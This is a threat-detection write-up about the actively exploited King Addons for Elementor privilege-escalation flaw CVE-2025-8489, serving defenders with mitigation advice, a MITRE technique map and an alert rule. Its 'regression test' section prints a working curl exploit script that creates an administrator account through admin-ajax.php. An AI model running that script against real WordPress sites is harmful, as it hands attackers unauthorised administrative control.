SOC Prime Bias: Critical

08 Dec 2025 20:57
newspaper icon Wordfence

Critical King Addons for Elementor Vulnerability Under Active Exploit

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Critical King Addons for Elementor Vulnerability Under Active Exploit
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

A critical unauthenticated privilege escalation flaw (CVE-2025-8489) in the King Addons for Elementor WordPress plugin enables attackers to register new users with administrator privileges. The bug has been under active exploitation since October 31, 2025, with Wordfence blocking tens of thousands of attempts. Attackers exploit the issue via crafted POST requests sent to the admin-ajax.php endpoint. Versions 24.12.92 through 51.1.14 are impacted, with a fix available in version 51.1.35.

Investigation

Wordfence telemetry recorded more than 48,400 exploit attempts, with a notable surge on November 9–10, 2025. The single most active IPv6 source address was 2602:fa59:3:424::1. Malicious payloads use HTTP POST data that sets the user_role parameter to administrator during the registration workflow. No additional malware deployment was observed beyond the creation of rogue admin accounts.

Mitigation

Upgrade King Addons for Elementor to version 51.1.35 or newer. Enable Wordfence firewall protections that shipped on August 4, 2025 (premium) and September 3, 2025 (free). Audit WordPress user lists for unexpected administrator accounts and continuously review logs for the suspicious POST pattern.

Response

Trigger alerts on POST traffic to /wp-admin/admin-ajax.php that includes user_role=administrator. Block abusive IP addresses, with special attention to the highlighted IPv6 source. Perform account hygiene checks and remove any unauthorized admin users. Deploy host-based IDS signatures tuned to the observed request structure.

“`mermaid graph TB %% Class definitions Section classDef technique fill:#ffcc00 %% Node definitions tech_exploit_public_facing[“<b>Technique</b> – <b>T1190 Exploit Public Facing Application</b><br/>Adversaries exploit a public facing application to gain initial access.”] class tech_exploit_public_facing technique tech_exploitation_priv_esc[“<b>Technique</b> – <b>T1068 Exploitation for Privilege Escalation</b><br/>Adversaries exploit a software vulnerability to increase their privileges on the system.”] class tech_exploitation_priv_esc technique tech_account_manipulation[“<b>Technique</b> – <b>T1098 Account Manipulation</b><br/>Adversaries create, modify, or delete accounts to achieve their objectives.”] class tech_account_manipulation technique tech_valid_accounts[“<b>Technique</b> – <b>T1078 Valid Accounts</b><br/>Adversaries obtain and use legitimate credentials to access accounts.”] class tech_valid_accounts technique %% Edge connections showing attack flow tech_exploit_public_facing –>|leads_to| tech_exploitation_priv_esc tech_exploitation_priv_esc –>|leads_to| tech_account_manipulation tech_account_manipulation –>|leads_to| tech_valid_accounts “`

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

  • Attack Narrative & Commands:
    An adversary discovers CVE‑2025‑8489 in the King Addons for Elementor plugin. They craft a POST request to admin-ajax.php that includes the action=king_addons_user_register parameter (required by the plugin) and forces the new user’s role to administrator via user_role=administrator. By sending this request directly to the vulnerable endpoint, the attacker obtains a privileged WordPress account without needing prior authentication. The payload is URL‑encoded to replicate a realistic web‑client.

  • Regression Test Script:

    #!/usr/bin/env bash
# Exploit script for King Addons for Elementor privilege escalation (CVE‑2025‑8489)

TARGET="http://webserver.example.com"
ENDPOINT="/wp-admin/admin-ajax.php"

# Crafted POST data (URL‑encoded)
POST_DATA="action=king_addons_user_register&user_login=eviladmin&user_email=evil@example.com&user_pass=P@ssw0rd!&user_role=administrator"

echo "[*] Sending exploit payload..."
curl -s -o /dev/null -w "%{http_code}" -X POST "${TARGET}${ENDPOINT}" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data "${POST_DATA}"

echo -e "\n[+] Exploit sent. Check the SIEM for the generated alert."

  • Cleanup Commands:

    # Remove the malicious user created during the test
curl -X POST "http://webserver.example.com/wp-admin/admin-ajax.php" \
  -d "action=delete_user&user_id=$(curl -s "http://webserver.example.com/wp-json/wp/v2/users?search=eviladmin" | jq -r '.[0].id')"
echo "[*] Cleanup completed."

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free